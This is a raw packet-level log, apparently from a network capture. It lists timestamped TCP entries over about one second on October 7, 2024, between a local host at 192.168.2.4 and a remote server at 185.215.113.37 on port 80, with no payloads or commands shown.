Oct 7, 2024 21:19:05.296044111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.296072006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.296092033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.296108007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.296137094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.296144962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.296159029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.296178102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.296210051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.344758987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.344783068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.344798088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.344877005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.344892979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.344907999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.344923019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.344996929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.346865892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.448096037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448168039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448204994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448237896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448271990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448277950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.448324919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448344946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.448359966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448393106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448405981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.448426008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448458910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448473930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.448508978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448513031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.448543072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448570967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.448581934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448602915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.448637962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.448672056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448704958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448736906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.448736906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448764086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.448772907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448787928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.448807001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448823929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.448842049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448860884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.448877096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.448895931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.448929071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.475801945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.475872993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.475910902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.475944996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.475965023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.475980043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.476017952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.476042032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.476095915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.549021959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549046993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549063921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549093008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549108028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549119949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.549123049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549186945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.549196959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549272060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549273968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.549288034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549314976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.549352884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.549379110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549393892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549421072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.549443960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.549521923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549570084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.549587011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549602032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549628973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.549654961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.549725056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549740076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549755096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549768925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.549771070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549799919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.549837112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.549879074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.549926043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.550358057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.550405979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799137115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799209118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799243927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799242020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799280882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799283028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799292088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799316883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799324989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799352884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799365997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799397945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799413919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799448967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799459934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799484015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799494982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799519062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799531937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799556971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799590111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799591064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799619913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799623966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799643040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799663067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799673080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799766064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799829960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799864054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799877882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799899101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799918890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799948931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.799956083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.799990892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.800012112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.800024986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.800035954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.800061941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.800071001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.800108910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.800149918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.800184011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.800199032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.800219059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.800229073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.800266027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.801043987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.801105976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.801120996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.801158905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.801167011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.801192999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.801206112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.801229954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.801242113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.801265001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.801275969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.801300049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.801310062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.801333904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.801347971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.801368952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.801378965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.801407099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.801414967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.801455021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.801698923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.801748037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.801752090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.801786900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.801793098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.801832914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.923482895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.923511982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.923547029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.923568964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.923594952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.923598051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.923616886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.923640013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.923652887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.923665047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.923713923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.924125910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.924176931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.924180984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.924200058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.924225092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.924247026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.924299955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.924321890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.924355984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.924380064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.924448967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.924470901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.924491882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.924500942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.924514055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.924521923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.924536943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.924542904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.924566984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.924588919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.924638987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.924659967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.924685955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.924705982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.008219004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.008285999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.008481979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.008481979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.048393965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.048449993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.048484087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.048499107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.048516989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.048535109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.048552036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.048583984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.048619032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.048626900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.048652887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.048657894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.048686028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.048693895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.048716068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.048718929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.048748016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.048773050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.048810959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.048821926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.048856974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.048856974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.048882961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.048899889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.048913002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.048979998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.049051046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.049062967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.049113035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.049128056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.049130917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.049149036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.049149990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.049196005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.049231052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.049232960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.049263954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.049288988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.049295902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.049318075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.049345970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.147022963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.147070885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.147356987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.147356987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.174896955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.174976110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.175013065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.175045967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.175079107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.175112963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.175147057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.175180912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.175185919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.175187111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.175187111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.175187111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.175214052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.175251961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.175337076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.175337076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.175337076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.175360918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.175424099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.175451994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.175452948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.175458908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.175491095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.175493002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.175523996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.175529003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.175559044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.175590038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.176337957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.176412106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.176449060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.176482916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.176484108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.176484108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.176498890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.176518917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.176548958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.176552057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.176577091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.176589966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.176601887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.176667929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.298777103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.298824072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.298880100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.298898935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.298919916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.298945904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.298949957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.298985004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.299011946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.299021959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.299052000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.299053907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.299078941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.299086094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.299104929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.299120903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.299141884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.299155951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.299170017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.299191952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.299206018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.299242020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.299354076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.299422979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.299469948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.299520969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.299525023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.299556017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.299575090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.299590111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.299608946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.299644947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.299976110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.300029039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.300035000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.300065041 CEST	80	49730	185.215.113.37	192.168.2.4
